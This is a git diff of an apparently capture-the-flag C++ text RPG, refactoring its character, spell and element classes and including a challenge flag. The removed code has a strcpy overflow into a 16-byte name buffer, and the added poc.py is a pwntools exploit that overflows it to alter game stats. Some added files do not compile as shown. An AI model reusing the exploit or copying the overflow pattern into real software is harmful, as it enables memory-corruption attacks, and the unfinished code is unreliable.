diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..29fef4f --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,53 @@ +{ + "files.associations": { + "chrono": "cpp", + "array": "cpp", + "atomic": "cpp", + "*.tcc": "cpp", + "cctype": "cpp", + "clocale": "cpp", + "cmath": "cpp", + "cstdarg": "cpp", + "cstddef": "cpp", + "cstdint": "cpp", + "cstdio": "cpp", + "cstdlib": "cpp", + "cstring": "cpp", + "ctime": "cpp", + "cwchar": "cpp", + "cwctype": "cpp", + "deque": "cpp", + "unordered_map": "cpp", + "vector": "cpp", + "exception": "cpp", + "algorithm": "cpp", + "functional": "cpp", + "iterator": "cpp", + "map": "cpp", + "memory": "cpp", + "memory_resource": "cpp", + "numeric": "cpp", + "optional": "cpp", + "random": "cpp", + "ratio": "cpp", + "string": "cpp", + "string_view": "cpp", + "system_error": "cpp", + "tuple": "cpp", + "type_traits": "cpp", + "utility": "cpp", + "fstream": "cpp", + "initializer_list": "cpp", + "iosfwd": "cpp", + "iostream": "cpp", + "istream": "cpp", + "limits": "cpp", + "new": "cpp", + "ostream": "cpp", + "sstream": "cpp", + "stdexcept": "cpp", + "streambuf": "cpp", + "thread": "cpp", + "typeinfo": "cpp" + } +} \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index a8069ba..8b13c8c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,6 +8,5 @@ WORKDIR /app COPY ./flag.txt . COPY ./spell-warz-again . -CMD socat tcp-listen:12345,reuseaddr,fork EXEC:\"./spell-warz-again\" - EXPOSE 12345/tcp +CMD socat tcp-listen:12345,reuseaddr,fork EXEC:./spell-warz-again diff --git a/README.md b/README.md index 5e26d13..e3c159b 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,7 @@ -# spell-warz-again-and-again +# spell-warz-again +Hello guys, there's an update to my last game
+Now you can choose your own name! Cool isn't it :)
+Also, I made the new Arch-Mage a little weak
+please defeat him again!
+`nc 103.200.7.150 30311` \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..14cfa9d --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,10 @@ +version: "2" + +services: + main: + build: . + container_name: "spell-warz-again" + network_mode: "bridge" + restart: on-failure + ports: + - "30311:12345" diff --git a/flag.txt b/flag.txt index f824bde..c7dd174 100644 --- a/flag.txt +++ b/flag.txt @@ -1 +1 @@ -slashroot{dummy} +SlashRootCTF{h1dd3n_Sp3l1_f0r_a_h1dd3n_fl4g} diff --git a/ground0.cpp b/ground0.cpp new file mode 100644 index 0000000..2354c35 --- /dev/null +++ b/ground0.cpp @@ -0,0 +1,9 @@ +#include "lib/Spell.hpp" + +int main(int argc, char const *argv[]) +{ + int i = 3; + Spell spell = Spell("?", Element("Void"), Spell::NULL_TYPE, 0, 0); + spell.getElement().getName() + return 0; +} diff --git a/lib/Character.cpp b/lib/Character.cpp index 09438ee..372c53e 100644 --- a/lib/Character.cpp +++ b/lib/Character.cpp @@ -1,61 +1,51 @@ #include "Character.hpp" -#include + const int Character::maxLevel = 0xffff; const int Character::maxExperience = 0x0fffffff; -Character::Character() +Character::Character(std::string characterName, + Element *characterAffinity) { + this->name = characterName; + this->affinity = characterAffinity; this->level = 1; this->experience = 0; - this->maxHP = 10; - this->curHP = maxHP; - this->maxMP = 5; - this->curMP = maxMP; - this->atk = 1; - this->def = 1; - memset(this->name, 0, 16); -} - -Character::Character(char *n) : Character::Character() -{ - strcpy(this->name, n); - this->name[15] = 0; -} - -Character::Character(const char *n) : Character::Character() -{ - strcpy(this->name, n); - this->name[15] = 0; + this->maxHP = 100; + this->maxMP = 50; + this->curHP = this->maxHP; + this->curMP = this->maxMP; } -Character::Character(char *n, int l, int e, int h, int m, int a, int d) +Character::Character(std::string characterName, + Element *characterAffinity, + int characterLevel) { - strcpy(this->name, n); - this->name[15] = 0; - this->level = l; - this->experience = e; - this->maxHP = h; - this->curHP = maxHP; - this->maxMP = m; - this->curMP = maxMP; - this->atk = a; - this->def = d; + this->name = characterName; + this->affinity = characterAffinity; + this->level = characterLevel; + this->experience = characterLevel; + this->maxHP = characterLevel * 10; + this->curHP = this->maxHP; + this->maxMP = characterLevel * 5; + this->curMP = this->maxMP; } -Character::Character(const char *n, int l, int e, int h, int m, int a, int d) +Character::Character(std::string characterName, + Element *characterAffinity, + int characterLevel, + int characterHP, + int characterMP) { - strcpy(this->name, n); - this->name[15] = 0; - this->level = l; - this->experience = e; - this->maxHP = h; - this->curHP = maxHP; - this->maxMP = m; - this->curMP = maxMP; - this->atk = a; - this->def = d; + this->name = characterName; + this->affinity = characterAffinity; + this->level = characterLevel; + this->experience = characterLevel; + this->maxHP = characterHP; + this->curHP = this->maxHP; + this->maxMP = characterMP; + this->curMP = this->maxMP; } -char *Character::getName() +std::string Character::getName() { return this->name; } @@ -106,16 +96,6 @@ int Character::getCurMP() return this->curMP; } -int Character::getAtk() -{ - return this->atk; -} - -int Character::getDef() -{ - return this->def; -} - void Character::levelUp() { if ((this->level <= maxLevel) && this->readytoLevelUp()) @@ -190,10 +170,37 @@ bool Character::canCastSpell(Spell *s) return this->curMP >= s->getCost(); } -void Character::castSpell(Spell *s, Character *t) +bool Character::castSpell(Spell *s, Character *t) { - this->reduceMP(s->getCost()); - t->reduceHP(s->getAmount()); + if (this->canCastSpell(s)) + { + this->reduceMP(s->getCost()); + int pwr = s->getPower(); + int spellCompatibility = s->getElement()->compatibilityAgainst(t->getAffinity()); + + if (spellCompatibility == Element::WEAK_COMPATIBILITY) + { + pwr /= 2; + } + else if (spellCompatibility == Element::STRONG_COMPATIBILITY) + { + pwr *= 2; + } + + if (s->getType() == Spell::TYPE_DESTRUCTION) + { + t->reduceHP(pwr); + } + else if (s->getType() == Spell::TYPE_RESTORATION) + { + t->restoreHP(pwr); + } + return true; + } + else + { + return false; + } } void Character::rest() @@ -213,4 +220,9 @@ void Character::revive() { this->curHP = 1; } +} + +Element *Character::getAffinity() +{ + return this->affinity; } \ No newline at end of file diff --git a/lib/Character.hpp b/lib/Character.hpp index 14d107c..97c121d 100644 --- a/lib/Character.hpp +++ b/lib/Character.hpp @@ -1,25 +1,25 @@ #ifndef SPELL_WARZ_CHARACTER_HPP #define SPELL_WARZ_CHARACTER_HPP 1 -#include +#include #include "Spell.hpp" +#include "Element.hpp" class Character { protected: static const int maxLevel; static const int maxExperience; - char name[16]; - int experience; + std::string name; + Element *affinity; int level; - int atk; - int def; - int curHP; - int curMP; + int experience; int maxHP; int maxMP; + int curHP; + int curMP; void restoreHP(int); void restoreMP(int); @@ -27,24 +27,30 @@ protected: void reduceMP(int); public: - Character(); - Character(char *name); - Character(const char *name); - Character(char *name, int level, int exp, int hp, int mp, int atk, int def); - Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); + Character(std::string characterName, + Element *characterAffinity); + + Character(std::string characterName, + Element *characterAffinity, + int characterLevel); + + Character(std::string characterName, + Element *characterAffinity, + int characterLevel, + int characterHP, + int characterMP); - void castSpell(Spell *src, Character *dst); + bool castSpell(Spell *src, Character *dst); bool canCastSpell(Spell *src); - char *getName(); + std::string getName(); + Element *getAffinity(); int getLevel(); int getExperience(); int getMaxHP(); - int getCurHP(); int getMaxMP(); + int getCurHP(); int getCurMP(); - int getAtk(); - int getDef(); int toNextLevel(); bool readytoLevelUp(); diff --git a/lib/Element.cpp b/lib/Element.cpp new file mode 100644 index 0000000..2098d2b --- /dev/null +++ b/lib/Element.cpp @@ -0,0 +1,60 @@ +#include "Element.hpp" + +int Element::WEAK_COMPATIBILITY = -1; +int Element::NEUTRAL_COMPATIBILITY = 0; +int Element::STRONG_COMPATIBILITY = 1; + +Element::Element(std::string elementName, + Element *elementWeakAgainst, + Element *elementStrongAgainst) + : name(elementName), + weakAgainst(elementWeakAgainst), + strongAgainst(elementStrongAgainst) +{ +} + +std::string Element::getName() +{ + return this->name; +} + +void Element::setStrongAgainst(Element *element) +{ + this->strongAgainst = element; +} + +void Element::setWeakAgainst(Element *element) +{ + this->weakAgainst = element; +} + +bool Element::isStrongAgainst(Element *element) +{ + return this->strongAgainst == element; +} + +bool Element::isWeakAgainst(Element *element) +{ + return this->weakAgainst == element; +} + +int Element::compatibilityAgainst(Element *element) +{ + if (this->isStrongAgainst(element)) + { + return Element::STRONG_COMPATIBILITY; + } + else if (this->isWeakAgainst(element)) + { + return Element::WEAK_COMPATIBILITY; + } + else + { + return Element::NEUTRAL_COMPATIBILITY; + } +} + +bool Element::operator<(Element &element) +{ + return this->name < element.name; +} \ No newline at end of file diff --git a/lib/Element.hpp b/lib/Element.hpp new file mode 100644 index 0000000..66d5c8c --- /dev/null +++ b/lib/Element.hpp @@ -0,0 +1,30 @@ +#ifndef SPELL_WARZ_ELEMENT_HPP +#define SPELL_WARZ_ELEMENT_HPP 1 + +#include + +class Element +{ +protected: + std::string name; + Element *strongAgainst; + Element *weakAgainst; + +public: + static int WEAK_COMPATIBILITY; + static int NEUTRAL_COMPATIBILITY; + static int STRONG_COMPATIBILITY; + + Element(std::string elementName, + Element *elementWeakAgainst = nullptr, + Element *elementStrongAgainst = nullptr); + std::string getName(); + void setStrongAgainst(Element *element); + void setWeakAgainst(Element *element); + bool isStrongAgainst(Element *element); + bool isWeakAgainst(Element *element); + int compatibilityAgainst(Element *element); + bool operator<(Element &rhs); +}; + +#endif \ No newline at end of file diff --git a/lib/Game.cpp b/lib/Game.cpp new file mode 100644 index 0000000..5883a83 --- /dev/null +++ b/lib/Game.cpp @@ -0,0 +1,101 @@ +#include "Game.hpp" + +std::map Game::Elements; +std::map> Game::SpellBook; +std::vector Game::PlayerParty; + +bool Game::isPartyAlive(std::vector &party) +{ + std::vector::iterator it; + for (it = party.begin(); it != party.end(); ++it) + { + if (it->isAlive()) + { + return true; + } + } + return false; +} + +void Game::init() +{ + /* initialise elements */ + Game::Elements["Fire"] = Element("Fire"); + Game::Elements["Water"] = Element("Water"); + Game::Elements["Wind"] = Element("Wind"); + Game::Elements["Earth"] = Element("Earth"); + Game::Elements["Holy"] = Element("Holy"); + Game::Elements["Dark"] = Element("Dark"); + Game::Elements["Void"] = Element("Void"); + Game::Elements["Fire"].setStrongAgainst(&Game::Elements["Earth"]); + Game::Elements["Fire"].setWeakAgainst(&Game::Elements["Water"]); + Game::Elements["Water"].setStrongAgainst(&Game::Elements["Fire"]); + Game::Elements["Water"].setWeakAgainst(&Game::Elements["Wind"]); + Game::Elements["Wind"].setStrongAgainst(&Game::Elements["Water"]); + Game::Elements["Wind"].setWeakAgainst(&Game::Elements["Earth"]); + Game::Elements["Earth"].setStrongAgainst(&Game::Elements["Wind"]); + Game::Elements["Earth"].setWeakAgainst(&Game::Elements["Fire"]); + Game::Elements["Holy"].setStrongAgainst(&Game::Elements["Dark"]); + Game::Elements["Holy"].setWeakAgainst(&Game::Elements["Dark"]); + Game::Elements["Dark"].setStrongAgainst(&Game::Elements["Holy"]); + Game::Elements["Dark"].setWeakAgainst(&Game::Elements["Holy"]); + + /* initialise spell book */ + SpellBook[Game::Elements["Fire"]] = { + Spell("Fire Bolt", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Warm Touch", &Game::Elements["Fire"], Spell::TYPE_RESTORATION, 10, 10), + Spell("Flame Javelin", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 25, 15), + Spell("Flaming Rocket", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 50, 20), + Spell("Sun's Strike", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 100, 25), + Spell("Big Bang", &Game::Elements["Fire"], Spell::TYPE_DESTRUCTION, 200, 30)}; + SpellBook[Game::Elements["Water"]] = { + Spell("Water Splash", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Healing Water", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 10, 10), + Spell("Jet Stream", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 25, 15), + Spell("Rain of Healing", &Game::Elements["Water"], Spell::TYPE_RESTORATION, 25, 20), + Spell("Whirlpool", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 50, 25), + Spell("Tsunami", &Game::Elements["Water"], Spell::TYPE_DESTRUCTION, 100, 30), + }; + SpellBook[Game::Elements["Wind"]] = { + Spell("Breath of Wind", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Wind of Restoration", &Game::Elements["Wind"], Spell::TYPE_RESTORATION, 10, 10), + Spell("Air Needle", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 25, 15), + Spell("Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 50, 20), + Spell("Twin Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 100, 25), + Spell("Triple Tornado", &Game::Elements["Wind"], Spell::TYPE_DESTRUCTION, 200, 30), + }; + SpellBook[Game::Elements["Earth"]] = { + Spell("Rock Throw", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Earth Sheet", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 10, 10), + Spell("Earth Split", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 25, 15), + Spell("Crushed Earth", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 50, 20), + Spell("Wall of Eden", &Game::Elements["Earth"], Spell::TYPE_RESTORATION, 50, 25), + Spell("Earthquake", &Game::Elements["Earth"], Spell::TYPE_DESTRUCTION, 100, 30), + }; + SpellBook[Game::Elements["Holy"]] = { + Spell("Holy Light", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Healing Light", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 25, 10), + Spell("Light of Judgment", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 50, 15), + Spell("Flame of Purgatory", &Game::Elements["Holy"], Spell::TYPE_DESTRUCTION, 100, 20), + Spell("God's Protection", &Game::Elements["Holy"], Spell::TYPE_RESTORATION, 1000000000, 25), + }; + SpellBook[Game::Elements["Dark"]] = { + Spell("Dark Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 10, 5), + Spell("Hell's Touch", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 25, 10), + Spell("Hell's Inferno", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 50, 15), + Spell("Eclipse", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 100, 20), + Spell("Hell on Earth", &Game::Elements["Dark"], Spell::TYPE_DESTRUCTION, 200, 25), + }; + SpellBook[Game::Elements["Void"]] = { + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 10000000, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 100000000, 1), + Spell("?", &Game::Elements["Void"], Spell::TYPE_DESTRUCTION, 1000000000, 1), + }; +} \ No newline at end of file diff --git a/lib/Game.hpp b/lib/Game.hpp new file mode 100644 index 0000000..82b0c1d --- /dev/null +++ b/lib/Game.hpp @@ -0,0 +1,22 @@ +#ifndef SPELL_WARZ_GAME_HPP +#define SPELL_WARZ_GAME_HPP 1 + +#include +#include + +#include "Element.hpp" +#include "Spell.hpp" +#include "Character.hpp" + +namespace Game +{ +extern std::map Elements; +extern std::map> SpellBook; +extern std::vector PlayerParty; + +void init(); +bool isPartyAlive(std::vector &party); + +} // namespace Game + +#endif \ No newline at end of file diff --git a/lib/Spell.cpp b/lib/Spell.cpp index f5b8492..1389a0f 100644 --- a/lib/Spell.cpp +++ b/lib/Spell.cpp @@ -1,11 +1,19 @@ #include "Spell.hpp" -Spell::Spell(std::string n, int t, int a, int c) +int Spell::TYPE_RESTORATION = 1; +int Spell::TYPE_DESTRUCTION = 2; + +Spell::Spell(std::string spellName, + Element *spellElement, + int spellType, + int spellPower, + int spellCost) { - this->name = std::string(n); - this->type = t; - this->amount = a; - this->cost = c; + this->name = spellName; + this->element = spellElement; + this->type = spellType; + this->power = spellPower; + this->cost = spellCost; } int Spell::getType() @@ -13,9 +21,9 @@ int Spell::getType() return this->type; } -int Spell::getAmount() +int Spell::getPower() { - return this->amount; + return this->power; } int Spell::getCost() @@ -23,20 +31,12 @@ int Spell::getCost() return this->cost; } +Element *Spell::getElement() +{ + return this->element; +} + std::string Spell::getName() { return this->name; } - -std::vector Spell::Book = { - Spell("Napalm Beat", 1, 4, 1), - Spell("Fire Ball", 1, 6, 2), - Spell("Cold Bolt", 1, 8, 3), - Spell("Stone curse", 1, 10, 4), - Spell("Lightning Bolt", 1, 12, 5), - Spell("Soul Strike", 1, 14, 6), - Spell("Fire Wall", 1, 16, 7), - Spell("Frost Diver", 1, 18, 8), - Spell("Lighting Storm", 1, 20, 9), - Spell("Asura's Strike", 1, 50, 10), -}; \ No newline at end of file diff --git a/lib/Spell.hpp b/lib/Spell.hpp index 618bbaa..2da261a 100644 --- a/lib/Spell.hpp +++ b/lib/Spell.hpp @@ -1,27 +1,32 @@ #ifndef SPELL_WARZ_SPELL_CPP #define SPELL_WARZ_SPELL_CPP 1 -#include #include +#include "Element.hpp" + class Spell { protected: std::string name; - + Element *element; int type; - int amount; + int power; int cost; public: - int TYPE_RESTORATION = 0; - int TYPE_DESTRUCTION = 1; - static std::vector Book; + static int TYPE_RESTORATION; + static int TYPE_DESTRUCTION; - Spell(std::string, int, int, int); + Spell(std::string spellName, + Element *spellElement, + int spellType, + int spellPower, + int spellCost); int getType(); - int getAmount(); + int getPower(); int getCost(); + Element *getElement(); std::string getName(); }; diff --git a/lib/UserInterface.cpp b/lib/UserInterface.cpp index 885aba1..6b5df89 100644 --- a/lib/UserInterface.cpp +++ b/lib/UserInterface.cpp @@ -1,7 +1,6 @@ #include "UserInterface.hpp" +#include "Game.hpp" -const int UserInterface::interval = 500; // in ms -const int UserInterface::miniInterval = 50; // in ms const int UserInterface::maxDay = 28; const int UserInterface::maxMonth = 12; const int UserInterface::maxYear = 100; @@ -10,8 +9,6 @@ int UserInterface::day = 1; int UserInterface::month = 1; int UserInterface::year = 90; -bool UserInterface::gameOver = false; - std::vector UserInterface::dayName = { "Morndas", "Tirdas", @@ -37,30 +34,24 @@ std::vector UserInterface::monthName = { "Evening Star", }; -void UserInterface::print(std::string msg) +void UserInterface::print(std::string msg, int interval) { std::cout << msg << std::flush; - std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); + std::this_thread::sleep_for(std::chrono::milliseconds(interval)); } -void UserInterface::print(char *msg) -{ - std::cout << msg << std::flush; - std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); -} -void UserInterface::print(const char *msg) +void UserInterface::println(std::string msg, int interval) { - std::cout << msg << std::flush; - std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::interval)); + std::cout << msg << std::endl; + std::this_thread::sleep_for(std::chrono::milliseconds(interval)); } -void UserInterface::printByChar(const char *msg) +void UserInterface::printByChar(std::string msg, int interval) { - int len = strlen(msg); - for (size_t i = 0; i < len; i++) + for (size_t i = 0; i < msg.size(); i++) { - std::cout << msg[i] << std::flush; - std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::miniInterval)); + std::cout << msg.at(i) << std::flush; + std::this_thread::sleep_for(std::chrono::milliseconds(interval)); } } @@ -74,22 +65,21 @@ void UserInterface::welcomeMessage() Character *UserInterface::characterCreation() { - char buffer[128] = {0}; - char choice = 0; - int i; - short b; - while (choice != 'y' && choice != 'Y') + std::string buffer; + std::cout << "Who should we call you?\n" + << ">" << std::flush; + std::cin >> buffer; + std::cout << "Now pick your elements: \n"; + std::map::iterator it; + int i = 0; + int max = Game::Elements.size() - 2; + for (it = Game::Elements.begin(); i < max; ++it) { - std::cout << "Who should we call you?\n" - << ">" << std::flush; - - std::cin >> buffer; - - std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" - << ">"; - std::cin >> choice; + std::cout << "[" << i++ << "] " << it->second.getName() << '\n'; } - return new Character(buffer); + int element = UserInterface::getNumber("#", 0, max); + + return new Character(buffer, Game::Elements.begin() + element); } void UserInterface::epilogue() @@ -202,17 +192,12 @@ void UserInterface::nextDay() month = 1; if (UserInterface::year++ >= UserInterface::maxYear) { - UserInterface::gameOver = true; + exit(0); } } } } -bool UserInterface::isGameOver() -{ - return gameOver; -} - void UserInterface::characterInfo(Character *c) { std::cout << "++++++++++++++++++++++++" diff --git a/lib/UserInterface.hpp b/lib/UserInterface.hpp index 3fb5e60..eeb3956 100644 --- a/lib/UserInterface.hpp +++ b/lib/UserInterface.hpp @@ -5,7 +5,7 @@ #include #include #include -#include +#include #include "Character.hpp" #include "Spell.hpp" @@ -13,8 +13,6 @@ class UserInterface { protected: - static const int interval; // in ms - static const int miniInterval; // in ms static const int maxDay; static const int maxMonth; static const int maxYear; @@ -26,15 +24,10 @@ protected: static int month; static int year; - static bool gameOver; - public: - static void print(std::string); - static void print(const char *); - static void print(char *); - static void printByChar(std::string); - static void printByChar(const char *); - static void printByChar(char *); + static void print(std::string msg, int interval = 500); + static void println(std::string msg, int interval = 500); + static void printByChar(std::string msg, int interval = 50); static void welcomeMessage(); static void epilogue(); diff --git a/main.cpp b/main.cpp index 87b8d6c..a3222eb 100644 --- a/main.cpp +++ b/main.cpp @@ -1,16 +1,14 @@ -#include -#include -#include -#include -#include #include +#include #include #include "lib/Character.hpp" #include "lib/Spell.hpp" +#include "lib/Element.hpp" #include "lib/UserInterface.hpp" #include "lib/BattleInterface.hpp" +#include "lib/Game.hpp" std::string loadFlag() { @@ -23,28 +21,14 @@ std::string loadFlag() int main() { - std::string flag; - Character *player; - Character *archMage; - Character *enemy; - BattleInterface battle; - std::vector enemies; - - flag = loadFlag(); - srand(time(0)); alarm(600); + srand(time(0)); + std::string flag = loadFlag(); + Game::init(); UserInterface::welcomeMessage(); UserInterface::epilogue(); - player = UserInterface::characterCreation(); - archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1); - enemies = { - new Character("Abby", 1, 1, 10, 5, 1, 1), - new Character("John", 2, 3, 20, 10, 1, 1), - new Character("Adam", 3, 7, 40, 25, 1, 1), - new Character("Christo", 4, 11, 80, 40, 1, 1), - new Character("Greg", 5, 16, 160, 80, 1, 1), - }; + Game::PlayerParty.push_back(UserInterface::characterCreation()); while (player->isAlive() && !UserInterface::isGameOver()) { diff --git a/main0.cpp b/main0.cpp new file mode 100644 index 0000000..490f03c --- /dev/null +++ b/main0.cpp @@ -0,0 +1,106 @@ +#include +#include +#include + +#include "lib/Character.hpp" +#include "lib/Spell.hpp" +#include "lib/Element.hpp" +#include "lib/BattleInterface.hpp" +#include "lib/UserInterface.hpp" + +std::string loadFlag() +{ + std::string flagString; + std::ifstream flagFile("flag.txt"); + flagFile >> flagString; + flagFile.close(); + return flagString; +} + +int main() +{ + + std::map Elements; + std::map> SpellBook; + std::vector PlayerParty; + + /* initialise elements */ + Elements["Fire"] = new Element("Fire"); + Elements["Water"] = new Element("Water"); + Elements["Wind"] = new Element("Wind"); + Elements["Earth"] = new Element("Earth"); + Elements["Holy"] = new Element("Holy"); + Elements["Dark"] = new Element("Dark"); + Elements["Void"] = new Element("Void"); + Elements["Fire"]->setStrongAgainst(Elements["Earth"]); + Elements["Fire"]->setWeakAgainst(Elements["Water"]); + Elements["Water"]->setStrongAgainst(Elements["Fire"]); + Elements["Water"]->setWeakAgainst(Elements["Wind"]); + Elements["Wind"]->setStrongAgainst(Elements["Water"]); + Elements["Wind"]->setWeakAgainst(Elements["Earth"]); + Elements["Earth"]->setStrongAgainst(Elements["Wind"]); + Elements["Earth"]->setWeakAgainst(Elements["Fire"]); + Elements["Holy"]->setStrongAgainst(Elements["Dark"]); + Elements["Holy"]->setWeakAgainst(Elements["Dark"]); + Elements["Dark"]->setStrongAgainst(Elements["Holy"]); + Elements["Dark"]->setWeakAgainst(Elements["Holy"]); + + /* initialise spell book */ + SpellBook[Elements["Fire"]] = { + new Spell("Fire Bolt", Elements["Fire"], Spell::DESTRUCTION_TYPE, 10, 5), + new Spell("Warm Touch", Elements["Fire"], Spell::RESTORATION_TYPE, 10, 10), + new Spell("Flame Javelin", Elements["Fire"], Spell::DESTRUCTION_TYPE, 25, 15), + new Spell("Flaming Rocket", Elements["Fire"], Spell::DESTRUCTION_TYPE, 50, 20), + new Spell("Sun's Strike", Elements["Fire"], Spell::DESTRUCTION_TYPE, 100, 25), + new Spell("Big Bang", Elements["Fire"], Spell::DESTRUCTION_TYPE, 200, 30)}; + SpellBook[Elements["Water"]] = { + new Spell("Water Splash", Elements["Water"], Spell::DESTRUCTION_TYPE, 10, 5), + new Spell("Healing Water", Elements["Water"], Spell::RESTORATION_TYPE, 10, 10), + new Spell("Jet Stream", Elements["Water"], Spell::DESTRUCTION_TYPE, 25, 15), + new Spell("Rain of Healing", Elements["Water"], Spell::RESTORATION_TYPE, 25, 20), + new Spell("Whirlpool", Elements["Water"], Spell::DESTRUCTION_TYPE, 50, 25), + new Spell("Tsunami", Elements["Water"], Spell::DESTRUCTION_TYPE, 100, 30), + }; + SpellBook[Elements["Wind"]] = { + new Spell("Breath of Wind", Elements["Wind"], Spell::DESTRUCTION_TYPE, 10, 5), + new Spell("Wind of Restoration", Elements["Wind"], Spell::RESTORATION_TYPE, 10, 10), + new Spell("Air Needle", Elements["Wind"], Spell::DESTRUCTION_TYPE, 25, 15), + new Spell("Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 50, 20), + new Spell("Twin Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 100, 25), + new Spell("Triple Tornado", Elements["Wind"], Spell::DESTRUCTION_TYPE, 200, 30), + }; + SpellBook[Elements["Earth"]] = { + new Spell("Rock Throw", Elements["Earth"], Spell::DESTRUCTION_TYPE, 10, 5), + new Spell("Earth Sheet", Elements["Earth"], Spell::RESTORATION_TYPE, 10, 10), + new Spell("Earth Split", Elements["Earth"], Spell::DESTRUCTION_TYPE, 25, 15), + new Spell("Crushed Earth", Elements["Earth"], Spell::DESTRUCTION_TYPE, 50, 20), + new Spell("Wall of Eden", Elements["Earth"], Spell::RESTORATION_TYPE, 50, 25), + new Spell("Earthquake", Elements["Earth"], Spell::DESTRUCTION_TYPE, 100, 30), + }; + SpellBook[Elements["Holy"]] = { + new Spell("Holy Light", Elements["Holy"], Spell::DESTRUCTION_TYPE, 10, 5), + new Spell("Healing Light", Elements["Holy"], Spell::RESTORATION_TYPE, 25, 10), + new Spell("Light of Judgment", Elements["Holy"], Spell::DESTRUCTION_TYPE, 50, 15), + new Spell("Flame of Purgatory", Elements["Holy"], Spell::DESTRUCTION_TYPE, 100, 20), + new Spell("God's Protection", Elements["Holy"], Spell::RESTORATION_TYPE, 1000000000, 25), + }; + SpellBook[Elements["Dark"]] = { + new Spell("Dark Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 10, 5), + new Spell("Hell's Touch", Elements["Dark"], Spell::DESTRUCTION_TYPE, 25, 10), + new Spell("Hell's Inferno", Elements["Dark"], Spell::DESTRUCTION_TYPE, 50, 15), + new Spell("Eclipse", Elements["Dark"], Spell::DESTRUCTION_TYPE, 100, 20), + new Spell("Hell on Earth", Elements["Dark"], Spell::DESTRUCTION_TYPE, 200, 25), + }; + SpellBook[Elements["Void"]] = { + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 10000000, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 100000000, 1), + new Spell("?", Elements["Void"], Spell::DESTRUCTION_TYPE, 1000000000, 1), + }; +} diff --git a/poc.py b/poc.py new file mode 100644 index 0000000..de89014 --- /dev/null +++ b/poc.py @@ -0,0 +1,18 @@ +from pwn import * + +if __name__ == "__main__": + p = process("./main") + print p.recvuntil(">") + p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01")) + print p.recvuntil(">") + p.sendline("y") + print p.recvuntil(">") + p.sendline("2") + print p.recvuntil(">") + p.sendline("4") + print p.recvuntil(">") + p.sendline("y") + for i in xrange(99): + print p.recvuntil(">") + p.sendline("9") + p.interactive() diff --git a/test b/test new file mode 100755 index 0000000..34d41a2 Binary files /dev/null and b/test differ diff --git a/test.cpp b/test.cpp new file mode 100644 index 0000000..45b5de0 --- /dev/null +++ b/test.cpp @@ -0,0 +1,12 @@ +#include + +#include "lib/Game.hpp" +#include "lib/Character.hpp" + +int main(int argc, char const *argv[]) +{ + Game::init(); + Character player = Character("Myitinos", &Game::Elements["Fire"]); + std::cout << 